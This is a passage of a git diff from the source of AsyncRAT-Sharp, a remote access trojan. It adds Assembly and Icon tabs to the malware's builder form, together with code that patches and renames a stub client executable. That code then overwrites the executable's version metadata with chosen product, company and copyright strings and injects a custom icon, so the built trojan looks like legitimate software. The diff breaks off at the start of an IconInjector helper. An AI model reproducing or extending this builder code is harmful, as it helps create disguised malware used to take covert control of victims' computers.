this.tabControl1.TabIndex = 10;
|
||||
//
|
||||
// tabPage1
|
||||
//
|
||||
this.tabPage1.Controls.Add(this.groupBox1);
|
||||
this.tabPage1.Location = new System.Drawing.Point(4, 29);
|
||||
this.tabPage1.Name = "tabPage1";
|
||||
this.tabPage1.Padding = new System.Windows.Forms.Padding(3);
|
||||
this.tabPage1.Size = new System.Drawing.Size(575, 440);
|
||||
this.tabPage1.TabIndex = 0;
|
||||
this.tabPage1.Text = "Connection";
|
||||
this.tabPage1.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// tabPage2
|
||||
//
|
||||
this.tabPage2.Controls.Add(this.groupBox2);
|
||||
this.tabPage2.Location = new System.Drawing.Point(4, 29);
|
||||
this.tabPage2.Name = "tabPage2";
|
||||
this.tabPage2.Padding = new System.Windows.Forms.Padding(3);
|
||||
this.tabPage2.Size = new System.Drawing.Size(575, 440);
|
||||
this.tabPage2.TabIndex = 1;
|
||||
this.tabPage2.Text = "Install";
|
||||
this.tabPage2.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// tabPage3
|
||||
//
|
||||
this.tabPage3.Controls.Add(this.groupBox3);
|
||||
this.tabPage3.Location = new System.Drawing.Point(4, 29);
|
||||
this.tabPage3.Name = "tabPage3";
|
||||
this.tabPage3.Padding = new System.Windows.Forms.Padding(3);
|
||||
this.tabPage3.Size = new System.Drawing.Size(575, 440);
|
||||
this.tabPage3.TabIndex = 2;
|
||||
this.tabPage3.Text = "Misc";
|
||||
this.tabPage3.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// tabPage4
|
||||
//
|
||||
this.tabPage4.Controls.Add(this.groupBox4);
|
||||
this.tabPage4.Location = new System.Drawing.Point(4, 29);
|
||||
this.tabPage4.Name = "tabPage4";
|
||||
this.tabPage4.Padding = new System.Windows.Forms.Padding(3);
|
||||
this.tabPage4.Size = new System.Drawing.Size(575, 440);
|
||||
this.tabPage4.TabIndex = 3;
|
||||
this.tabPage4.Text = "Assembly";
|
||||
this.tabPage4.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// groupBox4
|
||||
//
|
||||
this.groupBox4.Controls.Add(this.btnAssembly);
|
||||
this.groupBox4.Controls.Add(this.txtFileVersion);
|
||||
this.groupBox4.Controls.Add(this.txtProductVersion);
|
||||
this.groupBox4.Controls.Add(this.txtOriginalFilename);
|
||||
this.groupBox4.Controls.Add(this.txtTrademarks);
|
||||
this.groupBox4.Controls.Add(this.txtCopyright);
|
||||
this.groupBox4.Controls.Add(this.txtCompany);
|
||||
this.groupBox4.Controls.Add(this.label14);
|
||||
this.groupBox4.Controls.Add(this.label13);
|
||||
this.groupBox4.Controls.Add(this.label12);
|
||||
this.groupBox4.Controls.Add(this.label11);
|
||||
this.groupBox4.Controls.Add(this.label10);
|
||||
this.groupBox4.Controls.Add(this.label9);
|
||||
this.groupBox4.Controls.Add(this.txtDescription);
|
||||
this.groupBox4.Controls.Add(this.label7);
|
||||
this.groupBox4.Controls.Add(this.txtProduct);
|
||||
this.groupBox4.Controls.Add(this.label8);
|
||||
this.groupBox4.Location = new System.Drawing.Point(6, 17);
|
||||
this.groupBox4.Name = "groupBox4";
|
||||
this.groupBox4.Size = new System.Drawing.Size(563, 417);
|
||||
this.groupBox4.TabIndex = 8;
|
||||
this.groupBox4.TabStop = false;
|
||||
this.groupBox4.Text = "Assembly Information";
|
||||
//
|
||||
// btnAssembly
|
||||
//
|
||||
this.btnAssembly.AutoSize = true;
|
||||
this.btnAssembly.Location = new System.Drawing.Point(15, 29);
|
||||
this.btnAssembly.Name = "btnAssembly";
|
||||
this.btnAssembly.Size = new System.Drawing.Size(85, 24);
|
||||
this.btnAssembly.TabIndex = 20;
|
||||
this.btnAssembly.Text = "Enable";
|
||||
this.btnAssembly.UseVisualStyleBackColor = true;
|
||||
this.btnAssembly.CheckedChanged += new System.EventHandler(this.BtnAssembly_CheckedChanged);
|
||||
//
|
||||
// label14
|
||||
//
|
||||
this.label14.AutoSize = true;
|
||||
this.label14.Location = new System.Drawing.Point(8, 331);
|
||||
this.label14.Name = "label14";
|
||||
this.label14.Size = new System.Drawing.Size(126, 20);
|
||||
this.label14.TabIndex = 13;
|
||||
this.label14.Text = "Product Version:";
|
||||
//
|
||||
// label13
|
||||
//
|
||||
this.label13.AutoSize = true;
|
||||
this.label13.Location = new System.Drawing.Point(8, 371);
|
||||
this.label13.Name = "label13";
|
||||
this.label13.Size = new System.Drawing.Size(96, 20);
|
||||
this.label13.TabIndex = 12;
|
||||
this.label13.Text = "File Version:";
|
||||
//
|
||||
// label12
|
||||
//
|
||||
this.label12.AutoSize = true;
|
||||
this.label12.Location = new System.Drawing.Point(8, 283);
|
||||
this.label12.Name = "label12";
|
||||
this.label12.Size = new System.Drawing.Size(135, 20);
|
||||
this.label12.TabIndex = 11;
|
||||
this.label12.Text = "Original Filename:";
|
||||
//
|
||||
// label11
|
||||
//
|
||||
this.label11.AutoSize = true;
|
||||
this.label11.Location = new System.Drawing.Point(8, 240);
|
||||
this.label11.Name = "label11";
|
||||
this.label11.Size = new System.Drawing.Size(97, 20);
|
||||
this.label11.TabIndex = 10;
|
||||
this.label11.Text = "Trademarks:";
|
||||
//
|
||||
// label10
|
||||
//
|
||||
this.label10.AutoSize = true;
|
||||
this.label10.Location = new System.Drawing.Point(8, 200);
|
||||
this.label10.Name = "label10";
|
||||
this.label10.Size = new System.Drawing.Size(80, 20);
|
||||
this.label10.TabIndex = 9;
|
||||
this.label10.Text = "Copyright:";
|
||||
//
|
||||
// label9
|
||||
//
|
||||
this.label9.AutoSize = true;
|
||||
this.label9.Location = new System.Drawing.Point(8, 158);
|
||||
this.label9.Name = "label9";
|
||||
this.label9.Size = new System.Drawing.Size(80, 20);
|
||||
this.label9.TabIndex = 8;
|
||||
this.label9.Text = "Company:";
|
||||
//
|
||||
// label7
|
||||
//
|
||||
this.label7.AutoSize = true;
|
||||
this.label7.Location = new System.Drawing.Point(8, 115);
|
||||
this.label7.Name = "label7";
|
||||
this.label7.Size = new System.Drawing.Size(93, 20);
|
||||
this.label7.TabIndex = 6;
|
||||
this.label7.Text = "Description:";
|
||||
//
|
||||
// label8
|
||||
//
|
||||
this.label8.AutoSize = true;
|
||||
this.label8.Location = new System.Drawing.Point(8, 72);
|
||||
this.label8.Name = "label8";
|
||||
this.label8.Size = new System.Drawing.Size(68, 20);
|
||||
this.label8.TabIndex = 4;
|
||||
this.label8.Text = "Product:";
|
||||
//
|
||||
// tabPage5
|
||||
//
|
||||
this.tabPage5.Controls.Add(this.groupBox5);
|
||||
this.tabPage5.Location = new System.Drawing.Point(4, 29);
|
||||
this.tabPage5.Name = "tabPage5";
|
||||
this.tabPage5.Padding = new System.Windows.Forms.Padding(3);
|
||||
this.tabPage5.Size = new System.Drawing.Size(575, 440);
|
||||
this.tabPage5.TabIndex = 4;
|
||||
this.tabPage5.Text = "Icon";
|
||||
this.tabPage5.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// groupBox5
|
||||
//
|
||||
this.groupBox5.Controls.Add(this.chkIcon);
|
||||
this.groupBox5.Controls.Add(this.label15);
|
||||
this.groupBox5.Controls.Add(this.txtIcon);
|
||||
this.groupBox5.Controls.Add(this.btnIcon);
|
||||
this.groupBox5.Controls.Add(this.picIcon);
|
||||
this.groupBox5.Location = new System.Drawing.Point(6, 17);
|
||||
this.groupBox5.Name = "groupBox5";
|
||||
this.groupBox5.Size = new System.Drawing.Size(563, 417);
|
||||
this.groupBox5.TabIndex = 0;
|
||||
this.groupBox5.TabStop = false;
|
||||
this.groupBox5.Text = "Add Icon";
|
||||
//
|
||||
// chkIcon
|
||||
//
|
||||
this.chkIcon.AutoSize = true;
|
||||
this.chkIcon.Location = new System.Drawing.Point(15, 29);
|
||||
this.chkIcon.Name = "chkIcon";
|
||||
this.chkIcon.Size = new System.Drawing.Size(85, 24);
|
||||
this.chkIcon.TabIndex = 8;
|
||||
this.chkIcon.Text = "Enable";
|
||||
this.chkIcon.UseVisualStyleBackColor = true;
|
||||
this.chkIcon.CheckedChanged += new System.EventHandler(this.ChkIcon_CheckedChanged);
|
||||
//
|
||||
// label15
|
||||
//
|
||||
this.label15.AutoSize = true;
|
||||
this.label15.Location = new System.Drawing.Point(11, 89);
|
||||
this.label15.Name = "label15";
|
||||
this.label15.Size = new System.Drawing.Size(42, 20);
|
||||
this.label15.TabIndex = 7;
|
||||
this.label15.Text = "Path";
|
||||
//
|
||||
// txtIcon
|
||||
//
|
||||
this.txtIcon.Enabled = false;
|
||||
this.txtIcon.Location = new System.Drawing.Point(15, 122);
|
||||
this.txtIcon.Name = "txtIcon";
|
||||
this.txtIcon.Size = new System.Drawing.Size(417, 26);
|
||||
this.txtIcon.TabIndex = 6;
|
||||
//
|
||||
// btnIcon
|
||||
//
|
||||
this.btnIcon.Enabled = false;
|
||||
this.btnIcon.Location = new System.Drawing.Point(456, 122);
|
||||
this.btnIcon.Name = "btnIcon";
|
||||
this.btnIcon.Size = new System.Drawing.Size(60, 26);
|
||||
this.btnIcon.TabIndex = 5;
|
||||
this.btnIcon.Text = " ";
|
||||
this.btnIcon.UseVisualStyleBackColor = true;
|
||||
this.btnIcon.Click += new System.EventHandler(this.BtnIcon_Click);
|
||||
//
|
||||
// picIcon
|
||||
//
|
||||
this.picIcon.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
|
||||
this.picIcon.ErrorImage = null;
|
||||
this.picIcon.InitialImage = null;
|
||||
this.picIcon.Location = new System.Drawing.Point(15, 171);
|
||||
this.picIcon.Name = "picIcon";
|
||||
this.picIcon.Size = new System.Drawing.Size(128, 128);
|
||||
this.picIcon.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
|
||||
this.picIcon.TabIndex = 4;
|
||||
this.picIcon.TabStop = false;
|
||||
//
|
||||
// tabPage6
|
||||
//
|
||||
this.tabPage6.Controls.Add(this.btnBuild);
|
||||
this.tabPage6.Location = new System.Drawing.Point(4, 29);
|
||||
this.tabPage6.Name = "tabPage6";
|
||||
this.tabPage6.Padding = new System.Windows.Forms.Padding(3);
|
||||
this.tabPage6.Size = new System.Drawing.Size(575, 440);
|
||||
this.tabPage6.TabIndex = 5;
|
||||
this.tabPage6.Text = "Build";
|
||||
this.tabPage6.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// btnBuild
|
||||
//
|
||||
this.btnBuild.Location = new System.Drawing.Point(18, 196);
|
||||
this.btnBuild.Name = "btnBuild";
|
||||
this.btnBuild.Size = new System.Drawing.Size(539, 49);
|
||||
this.btnBuild.TabIndex = 1;
|
||||
this.btnBuild.Text = "Build";
|
||||
this.btnBuild.UseVisualStyleBackColor = true;
|
||||
this.btnBuild.Click += new System.EventHandler(this.BtnBuild_Click);
|
||||
//
|
||||
// txtPastebin
|
||||
//
|
||||
this.txtPastebin.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Pastebin", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.txtPastebin.Enabled = false;
|
||||
this.txtPastebin.Location = new System.Drawing.Point(106, 352);
|
||||
this.txtPastebin.Name = "txtPastebin";
|
||||
this.txtPastebin.Size = new System.Drawing.Size(271, 26);
|
||||
this.txtPastebin.TabIndex = 8;
|
||||
this.txtPastebin.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.Pastebin;
|
||||
this.toolTip1.SetToolTip(this.txtPastebin, "IP:PORT .. Example 127.0.0.1:6606");
|
||||
//
|
||||
// textFilename
|
||||
//
|
||||
this.textFilename.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Filename", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.textFilename.Enabled = false;
|
||||
this.textFilename.Location = new System.Drawing.Point(103, 92);
|
||||
this.textFilename.Name = "textFilename";
|
||||
this.textFilename.Size = new System.Drawing.Size(271, 26);
|
||||
this.textFilename.TabIndex = 5;
|
||||
this.textFilename.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.Filename;
|
||||
//
|
||||
// txtMutex
|
||||
//
|
||||
this.txtMutex.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Mutex", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.txtMutex.Location = new System.Drawing.Point(106, 165);
|
||||
this.txtMutex.Name = "txtMutex";
|
||||
this.txtMutex.Size = new System.Drawing.Size(271, 26);
|
||||
this.txtMutex.TabIndex = 11;
|
||||
this.txtMutex.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.Mutex;
|
||||
//
|
||||
// txtFileVersion
|
||||
//
|
||||
this.txtFileVersion.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "txtFileVersion", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.txtFileVersion.Enabled = false;
|
||||
this.txtFileVersion.Location = new System.Drawing.Point(159, 368);
|
||||
this.txtFileVersion.Name = "txtFileVersion";
|
||||
this.txtFileVersion.Size = new System.Drawing.Size(337, 26);
|
||||
this.txtFileVersion.TabIndex = 19;
|
||||
this.txtFileVersion.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.txtFileVersion;
|
||||
//
|
||||
// txtProductVersion
|
||||
//
|
||||
this.txtProductVersion.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "txtProductVersion", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.txtProductVersion.Enabled = false;
|
||||
this.txtProductVersion.Location = new System.Drawing.Point(159, 325);
|
||||
this.txtProductVersion.Name = "txtProductVersion";
|
||||
this.txtProductVersion.Size = new System.Drawing.Size(337, 26);
|
||||
this.txtProductVersion.TabIndex = 18;
|
||||
this.txtProductVersion.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.txtProductVersion;
|
||||
//
|
||||
// txtOriginalFilename
|
||||
//
|
||||
this.txtOriginalFilename.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "txtOriginalFilename", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.txtOriginalFilename.Enabled = false;
|
||||
this.txtOriginalFilename.Location = new System.Drawing.Point(159, 280);
|
||||
this.txtOriginalFilename.Name = "txtOriginalFilename";
|
||||
this.txtOriginalFilename.Size = new System.Drawing.Size(337, 26);
|
||||
this.txtOriginalFilename.TabIndex = 17;
|
||||
this.txtOriginalFilename.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.txtOriginalFilename;
|
||||
//
|
||||
// txtTrademarks
|
||||
//
|
||||
this.txtTrademarks.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "txtTrademarks", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.txtTrademarks.Enabled = false;
|
||||
this.txtTrademarks.Location = new System.Drawing.Point(159, 237);
|
||||
this.txtTrademarks.Name = "txtTrademarks";
|
||||
this.txtTrademarks.Size = new System.Drawing.Size(337, 26);
|
||||
this.txtTrademarks.TabIndex = 16;
|
||||
this.txtTrademarks.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.txtTrademarks;
|
||||
//
|
||||
// txtCopyright
|
||||
//
|
||||
this.txtCopyright.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "txtCopyright", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.txtCopyright.Enabled = false;
|
||||
this.txtCopyright.Location = new System.Drawing.Point(159, 198);
|
||||
this.txtCopyright.Name = "txtCopyright";
|
||||
this.txtCopyright.Size = new System.Drawing.Size(337, 26);
|
||||
this.txtCopyright.TabIndex = 15;
|
||||
this.txtCopyright.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.txtCopyright;
|
||||
//
|
||||
// txtCompany
|
||||
//
|
||||
this.txtCompany.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "txtCompany", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.txtCompany.Enabled = false;
|
||||
this.txtCompany.Location = new System.Drawing.Point(159, 155);
|
||||
this.txtCompany.Name = "txtCompany";
|
||||
this.txtCompany.Size = new System.Drawing.Size(337, 26);
|
||||
this.txtCompany.TabIndex = 14;
|
||||
this.txtCompany.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.txtCompany;
|
||||
//
|
||||
// txtDescription
|
||||
//
|
||||
this.txtDescription.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "txtDescription", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.txtDescription.Enabled = false;
|
||||
this.txtDescription.Location = new System.Drawing.Point(159, 112);
|
||||
this.txtDescription.Name = "txtDescription";
|
||||
this.txtDescription.Size = new System.Drawing.Size(337, 26);
|
||||
this.txtDescription.TabIndex = 7;
|
||||
this.txtDescription.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.txtDescription;
|
||||
//
|
||||
// txtProduct
|
||||
//
|
||||
this.txtProduct.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "ProductName", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.txtProduct.Enabled = false;
|
||||
this.txtProduct.Location = new System.Drawing.Point(159, 69);
|
||||
this.txtProduct.Name = "txtProduct";
|
||||
this.txtProduct.Size = new System.Drawing.Size(337, 26);
|
||||
this.txtProduct.TabIndex = 5;
|
||||
this.txtProduct.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.ProductName;
|
||||
//
|
||||
// FormBuilder
|
||||
//
|
||||
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
||||
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||
this.ClientSize = new System.Drawing.Size(580, 445);
|
||||
this.ClientSize = new System.Drawing.Size(607, 497);
|
||||
this.Controls.Add(this.tabControl1);
|
||||
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
||||
this.Name = "FormBuilder";
|
||||
@ -425,13 +750,19 @@ namespace AsyncRAT_Sharp.Forms
|
||||
this.tabPage1.ResumeLayout(false);
|
||||
this.tabPage2.ResumeLayout(false);
|
||||
this.tabPage3.ResumeLayout(false);
|
||||
this.tabPage4.ResumeLayout(false);
|
||||
this.groupBox4.ResumeLayout(false);
|
||||
this.groupBox4.PerformLayout();
|
||||
this.tabPage5.ResumeLayout(false);
|
||||
this.groupBox5.ResumeLayout(false);
|
||||
this.groupBox5.PerformLayout();
|
||||
((System.ComponentModel.ISupportInitialize)(this.picIcon)).EndInit();
|
||||
this.tabPage6.ResumeLayout(false);
|
||||
this.ResumeLayout(false);
|
||||
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
private System.Windows.Forms.Button button1;
|
||||
private System.Windows.Forms.GroupBox groupBox1;
|
||||
private System.Windows.Forms.Label label2;
|
||||
private System.Windows.Forms.GroupBox groupBox2;
|
||||
@ -463,5 +794,33 @@ namespace AsyncRAT_Sharp.Forms
|
||||
private System.Windows.Forms.ListBox listBoxIP;
|
||||
private System.Windows.Forms.TextBox textIP;
|
||||
private System.Windows.Forms.Label label1;
|
||||
private System.Windows.Forms.TabPage tabPage4;
|
||||
private System.Windows.Forms.GroupBox groupBox4;
|
||||
private System.Windows.Forms.TextBox txtFileVersion;
|
||||
private System.Windows.Forms.TextBox txtProductVersion;
|
||||
private System.Windows.Forms.TextBox txtOriginalFilename;
|
||||
private System.Windows.Forms.TextBox txtTrademarks;
|
||||
private System.Windows.Forms.TextBox txtCopyright;
|
||||
private System.Windows.Forms.TextBox txtCompany;
|
||||
private System.Windows.Forms.Label label14;
|
||||
private System.Windows.Forms.Label label13;
|
||||
private System.Windows.Forms.Label label12;
|
||||
private System.Windows.Forms.Label label11;
|
||||
private System.Windows.Forms.Label label10;
|
||||
private System.Windows.Forms.Label label9;
|
||||
private System.Windows.Forms.TextBox txtDescription;
|
||||
private System.Windows.Forms.Label label7;
|
||||
private System.Windows.Forms.TextBox txtProduct;
|
||||
private System.Windows.Forms.Label label8;
|
||||
private System.Windows.Forms.TabPage tabPage5;
|
||||
private System.Windows.Forms.GroupBox groupBox5;
|
||||
private System.Windows.Forms.Label label15;
|
||||
private System.Windows.Forms.TextBox txtIcon;
|
||||
private System.Windows.Forms.Button btnIcon;
|
||||
private System.Windows.Forms.PictureBox picIcon;
|
||||
private System.Windows.Forms.CheckBox chkIcon;
|
||||
private System.Windows.Forms.CheckBox btnAssembly;
|
||||
private System.Windows.Forms.TabPage tabPage6;
|
||||
private System.Windows.Forms.Button btnBuild;
|
||||
}
|
||||
}
|
||||
|
@ -8,6 +8,8 @@ using System.Security.Cryptography;
|
||||
using AsyncRAT_Sharp.Cryptography;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Collections.Generic;
|
||||
using Vestris.ResourceLib;
|
||||
using System.Drawing;
|
||||
|
||||
namespace AsyncRAT_Sharp.Forms
|
||||
{
|
||||
@ -18,54 +20,6 @@ namespace AsyncRAT_Sharp.Forms
|
||||
InitializeComponent();
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listBoxIP.Items.Count == 0 || listBoxPort.Items.Count == 0) return;
|
||||
|
||||
if (checkBox1.Checked)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(textFilename.Text) || string.IsNullOrWhiteSpace(comboBoxFolder.Text)) return;
|
||||
if (!textFilename.Text.EndsWith("exe")) textFilename.Text += ".exe";
|
||||
}
|
||||
|
||||
if (string.IsNullOrWhiteSpace(txtMutex.Text)) txtMutex.Text = Guid.NewGuid().ToString().Substring(20);
|
||||
|
||||
if (chkPastebin.Checked && string.IsNullOrWhiteSpace(txtPastebin.Text)) return;
|
||||
|
||||
try
|
||||
{
|
||||
using (AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly(@"Stub/Stub.exe"))
|
||||
{
|
||||
WriteSettings(asmDef);
|
||||
|
||||
Renamer r = new Renamer(asmDef);
|
||||
|
||||
if (!r.Perform())
|
||||
throw new Exception("renaming failed");
|
||||
|
||||
using (SaveFileDialog saveFileDialog1 = new SaveFileDialog())
|
||||
{
|
||||
saveFileDialog1.Filter = ".exe (*.exe)|*.exe";
|
||||
saveFileDialog1.InitialDirectory = Application.StartupPath;
|
||||
saveFileDialog1.OverwritePrompt = false;
|
||||
saveFileDialog1.FileName = "Client";
|
||||
if (saveFileDialog1.ShowDialog() == DialogResult.OK)
|
||||
{
|
||||
r.AsmDef.Write(saveFileDialog1.FileName);
|
||||
MessageBox.Show("Done!", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
|
||||
SaveSettings();
|
||||
r.AsmDef.Dispose();
|
||||
this.Close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show(ex.Message, "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
}
|
||||
}
|
||||
|
||||
private void SaveSettings()
|
||||
{
|
||||
try
|
||||
@ -236,7 +190,6 @@ namespace AsyncRAT_Sharp.Forms
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
private void CheckBox2_CheckedChanged(object sender, EventArgs e)
|
||||
@ -314,5 +267,149 @@ namespace AsyncRAT_Sharp.Forms
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private void BtnBuild_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listBoxIP.Items.Count == 0 || listBoxPort.Items.Count == 0) return;
|
||||
|
||||
if (checkBox1.Checked)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(textFilename.Text) || string.IsNullOrWhiteSpace(comboBoxFolder.Text)) return;
|
||||
if (!textFilename.Text.EndsWith("exe")) textFilename.Text += ".exe";
|
||||
}
|
||||
|
||||
if (string.IsNullOrWhiteSpace(txtMutex.Text)) txtMutex.Text = Guid.NewGuid().ToString().Substring(20);
|
||||
|
||||
if (chkPastebin.Checked && string.IsNullOrWhiteSpace(txtPastebin.Text)) return;
|
||||
|
||||
try
|
||||
{
|
||||
using (AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly(@"Stub/Stub.exe"))
|
||||
{
|
||||
WriteSettings(asmDef);
|
||||
|
||||
Renamer r = new Renamer(asmDef);
|
||||
|
||||
if (!r.Perform())
|
||||
throw new Exception("renaming failed");
|
||||
|
||||
using (SaveFileDialog saveFileDialog1 = new SaveFileDialog())
|
||||
{
|
||||
saveFileDialog1.Filter = ".exe (*.exe)|*.exe";
|
||||
saveFileDialog1.InitialDirectory = Application.StartupPath;
|
||||
saveFileDialog1.OverwritePrompt = false;
|
||||
saveFileDialog1.FileName = "Client";
|
||||
if (saveFileDialog1.ShowDialog() == DialogResult.OK)
|
||||
{
|
||||
r.AsmDef.Write(saveFileDialog1.FileName);
|
||||
r.AsmDef.Dispose();
|
||||
if (btnAssembly.Checked)
|
||||
{
|
||||
WriteAssembly(saveFileDialog1.FileName);
|
||||
}
|
||||
if (chkIcon.Checked && !string.IsNullOrEmpty(txtIcon.Text))
|
||||
{
|
||||
IconInjector.InjectIcon(saveFileDialog1.FileName, txtIcon.Text);
|
||||
}
|
||||
MessageBox.Show("Done!", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
|
||||
SaveSettings();
|
||||
this.Close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show(ex.Message, "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
}
|
||||
}
|
||||
|
||||
private void WriteAssembly(string filename)
|
||||
{
|
||||
try
|
||||
{
|
||||
VersionResource versionResource = new VersionResource();
|
||||
versionResource.LoadFrom(filename);
|
||||
|
||||
versionResource.FileVersion = txtFileVersion.Text;
|
||||
versionResource.ProductVersion = txtProductVersion.Text;
|
||||
versionResource.Language = 0;
|
||||
|
||||
StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"];
|
||||
stringFileInfo["ProductName"] = txtProduct.Text;
|
||||
stringFileInfo["FileDescription"] = txtDescription.Text;
|
||||
stringFileInfo["CompanyName"] = txtCompany.Text;
|
||||
stringFileInfo["LegalCopyright"] = txtCopyright.Text;
|
||||
stringFileInfo["LegalTrademarks"] = txtTrademarks.Text;
|
||||
stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
|
||||
stringFileInfo["InternalName"] = txtOriginalFilename.Text;
|
||||
stringFileInfo["OriginalFilename"] = txtOriginalFilename.Text;
|
||||
stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
|
||||
stringFileInfo["FileVersion"] = versionResource.FileVersion;
|
||||
|
||||
versionResource.SaveTo(filename);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
throw new ArgumentException("Assembly: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private void BtnAssembly_CheckedChanged(object sender, EventArgs e)
|
||||
{
|
||||
if (btnAssembly.Checked)
|
||||
{
|
||||
txtProduct.Enabled = true;
|
||||
txtDescription.Enabled = true;
|
||||
txtCompany.Enabled = true;
|
||||
txtCopyright.Enabled = true;
|
||||
txtTrademarks.Enabled = true;
|
||||
txtOriginalFilename.Enabled = true;
|
||||
txtOriginalFilename.Enabled = true;
|
||||
txtProductVersion.Enabled = true;
|
||||
txtFileVersion.Enabled = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
txtProduct.Enabled = false;
|
||||
txtDescription.Enabled = false;
|
||||
txtCompany.Enabled = false;
|
||||
txtCopyright.Enabled = false;
|
||||
txtTrademarks.Enabled = false;
|
||||
txtOriginalFilename.Enabled = false;
|
||||
txtOriginalFilename.Enabled = false;
|
||||
txtProductVersion.Enabled = false;
|
||||
txtFileVersion.Enabled = false;
|
||||
}
|
||||
}
|
||||
|
||||
private void ChkIcon_CheckedChanged(object sender, EventArgs e)
|
||||
{
|
||||
if (chkIcon.Checked)
|
||||
{
|
||||
txtIcon.Enabled = true;
|
||||
btnIcon.Enabled = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
txtIcon.Enabled = false;
|
||||
btnIcon.Enabled = false;
|
||||
}
|
||||
}
|
||||
|
||||
private void BtnIcon_Click(object sender, EventArgs e)
|
||||
{
|
||||
using (OpenFileDialog ofd = new OpenFileDialog())
|
||||
{
|
||||
ofd.Title = "Choose Icon";
|
||||
ofd.Filter = "Icons *.ico|*.ico";
|
||||
ofd.Multiselect = false;
|
||||
if (ofd.ShowDialog() == DialogResult.OK)
|
||||
{
|
||||
txtIcon.Text = ofd.FileName;
|
||||
picIcon.ImageLocation = ofd.FileName;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
237
AsyncRAT-C#/AsyncRAT-Sharp/Helper/IconInjector.cs
Normal file
237
AsyncRAT-C#/AsyncRAT-Sharp/Helper/IconInjector.cs
Normal file
@ -0,0 +1,237 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security;
|
||||
|
||||
|
||||
namespace AsyncRAT_Sharp.Helper
|
||||
{
|
||||
public static class IconInjector
|
||||
{
|
||||
// Basically, you can change icons with the UpdateResource api call.
|
||||
